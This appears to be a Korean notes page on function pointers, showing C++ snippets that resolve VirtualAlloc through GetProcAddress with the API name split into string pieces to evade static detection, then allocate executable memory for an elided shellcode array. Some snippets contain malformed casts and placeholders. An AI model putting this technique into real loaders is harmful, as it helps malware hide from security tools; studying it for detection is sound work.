함수 포인터

Demo

Last updated


Last updated
FARPROC pFunctionRaw = GetProcAddress('<kernel32.dll handle>', '<windows api name>');
typedef '<return type of windows api>'(WINAPI* pFunction)('<type1>', '<type2>' ...);
pFunction windowsAPI_fn = (pFunctionRaw)pFunction;int main() {
unsigned char shellcode[] = [...]
void* code_memory;
code_memory = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
} std::string first_char = "Virtual";
std::string second_char = "Alloc";
std::string all_char = first_char + second_char;FARPROC pFunctionRaw = GetProcAddress(hKernel32, all_char.c_str());
typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
pFunction windowsAPI_fn = (pFunctionRaw)pFunction;int main() {
unsigned char shellcode[] = [...]
void* code_memory;
// kernel32.dll 로딩
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (!hKernel32) {
std::cout << "Failed to get kernel32.dll handle" << std::endl;
return 0;
}
// 문자열을 자른다음 결합하여 변수로 관리
std::string first_char = "Virtual";
std::string second_char = "Alloc";
std::string all_char = first_char + second_char;
// VirtualAlloc 함수의 메모리 주소 획득
FARPROC pVirtualAllocRaw = GetProcAddress(hKernel32, all_char.c_str());
// 반환되지 않았다면 예외 처리
if (!pVirtualAllocRaw) {
std::cout << "Failed to get Virtual_Alloc function address" << std::endl;
return 0;
}
// 함수 포인터 타입 선언
typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
// 함수 포인터 할당
pVirtualAlloc VirtualAlloc_fn = (pVirtualAlloc)pVirtualAllocRaw;
// 함수 포인터 사용
LPVOID code_Memory = VirtualAlloc_fn(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}